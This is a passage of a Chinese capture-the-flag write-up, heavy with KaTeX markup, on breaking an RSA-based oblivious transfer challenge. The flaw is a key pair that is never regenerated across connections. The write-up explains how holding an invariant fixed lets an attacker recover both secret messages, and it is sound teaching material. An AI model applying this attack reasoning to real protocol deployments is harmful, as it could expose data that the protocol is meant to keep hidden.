style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>并且将信息发送给Bob。因为此时每一个信息都增加了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">k_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，所以 Bob <strong>无法直接还原信息m</strong><br>8. Bob 此时知道自己选择的信息编号b，于是选出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mi>b</mi></msub></mrow><annotation encoding="application/x-tex">m_b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，计算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>b</mi></msub></mrow><annotation encoding="application/x-tex">k_b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，并且用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mi>b</mi></msub><mo>=</mo><msubsup><mi>m</mi><mi>b</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>−</mo><msub><mi>k</mi><mi>b</mi></msub></mrow><annotation encoding="application/x-tex">m_b=m_b&#x27;-k_b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.035em;vertical-align:-0.2831079999999999em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4168920000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2831079999999999em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>得到此时的解密信息。</p><h3 id="如何解决场景">如何解决场景</h3><p>对于Alice而言：</p><ul><li>Alice 能够知道的只是 Bob给出来的一个随机数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>b</mi></msub></mrow><annotation encoding="application/x-tex">x_b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>算出来的值v，这个值还被一个用RSA公钥加密的k相加过，所以Alice无法知道这个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>b</mi></msub></mrow><annotation encoding="application/x-tex">x_b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>具体是哪个值</li></ul><p>对于Bob而言：</p><ul><li>Alice 交出了所有的信息，但是Alice交出的信息中，除了自己指定的信息，另一个信息（假设是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><msup><mi>b</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></msub></mrow><annotation encoding="application/x-tex">x_{b&#x27;}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828285714285715em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>）被加密成了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>m</mi><msup><mi>b</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msub><mi>m</mi><msup><mi>b</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></msub><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mi>b</mi></msub><mo>+</mo><msup><mi>k</mi><mi>e</mi></msup><mo>−</mo><msub><mi>x</mi><msup><mi>b</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup></mrow><annotation encoding="application/x-tex">m_{b&#x27;}&#x27;=m_{b&#x27;}+(x_b+k^e-x_{b&#x27;})^d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.035em;vertical-align:-0.2831079999999999em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4168920000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828285714285715em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2831079999999999em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828285714285715em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">e</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828285714285715em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span></span></span></span>。这个信息 Bob 已经无法还原了，所以Bob只能获得自己想要的信息，其他信息只能抛弃</li></ul><p>不过换个角度来说，<strong>Bob交给了Alice一个有可能判别身份的数字，Alice交给了Bob自己所有的信息</strong>。从结果上来看，两个地方都存在攻击面。实际上OT在实现上可以使用不同的公钥加密方式，不一定非要使用RSA。</p><h2 id="题目分析">题目分析</h2><p>把协议过了一遍，发现这个题目本质上就是<strong>Server就是Alice， 我们来模拟Bob，解开被Alice加密的那些信息</strong>。不过乍一看，生成RSA密钥对用的是<code>PyCrypto</code>，那这个生成算法估计是没啥问题的。而且题目代码非常简洁，感觉不到什么可以被利用的地方。于是只好和队友重新过了一遍题目，发现几个问题点:</p><ul><li>我们给出来的v可以和协议不一样，直接给出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，这样我们可以直接得到msg0，不过这个时候msg1的为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">msg1 + (x_0- x_1)^d mod n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>。</li><li>RSA的密钥对仅仅在代码最开头生成了一次。</li><li>msg0/msg1是ascii码，意味着都是可见的字符。进一步来说，如果能够进行一定的限制的话，msg0/msg1存在爆破的可能。</li></ul><p>故事一开始，我猜测是不是有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_0-x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>这个值能够在n上构成循环群，然后这个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_0-x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>能够形成一个循环群之类的。虽然我们知道这个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>e</mi></msup></mrow><annotation encoding="application/x-tex">(x_0-x_1)^e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">e</span></span></span></span></span></span></span></span></span></span></span>的阶为d，不过我当时猜测是不是有比较小的阶也能满足这个条件，最后显然是失败了，爆破了很久都爆不出来。虽然后来出题放放出了hint提到我们都忽略了一个点</p><ul><li>RSA算法的密钥对没有重新生成</li></ul><p>但是我们不知道怎么来考虑这点，毕竟v的值除了受到密钥对的影响，还有随机数x。</p><h3 id="寻找不变量">寻找不变量</h3><p>最后官方WP放出来之后，我们才理解这个题目怎么做。记得很久以前看过解决小学奥数题有一个根本思路：要在变量里面寻找不变量。在这个题目里面的不变量其实就是RSA的密钥对(n, e, d)， 其中n，e我们又是已知的，d我们无法得知。不过认真看代码的话会发现有一个地方用到了这个值：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>((msg0 + <span class="built_in">pow</span>(v - x0, key.d, key.n)) % key.n)</span><br><span class="line"><span class="built_in">print</span>((msg1 + <span class="built_in">pow</span>(v - x1, key.d, key.n)) % key.n)</span><br></pre></td></tr></table></figure><p>这里的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>v</mi><mo>−</mo><msub><mi>x</mi><mi>i</mi></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">F(v,x_i)=(v-x_i)^d modn</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>这个加密函数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span></span></span></span>其实算是不变量，因为这里的<code>d/n</code>都是一个固定值。不过当时比赛的时候没想到这点怎么利用，后来看了答案得到了提示，那就是说</p><blockquote><p>如果输入的值不变，那么就能获得一样的输出值</p></blockquote><p>回想hint<strong>RSA算法的密钥对没有重新生成</strong>，这里其实暗示了一个点，那就是<strong>如果发起多次连接，RSA还是不变的</strong>。这里一个非常巧妙的地方就在于<strong>多次连接</strong>。我们知道，每次重新连接的时候，所有的信息都会被重置，不过在这里面，蕴藏着一个<strong>不变量</strong>，也就是我们之前提到的F加密函数，如果我们能够控制F函数的输入不变，那么我们就能够获得同一个输出！具体要怎么做呢？我们假设整个题目在第一次产生的变量叫做<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><mi>m</mi><mi>s</mi><msub><mi>g</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>m</mi><mi>s</mi><msub><mi>g</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x_0,x_1,msg_0,msg_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span 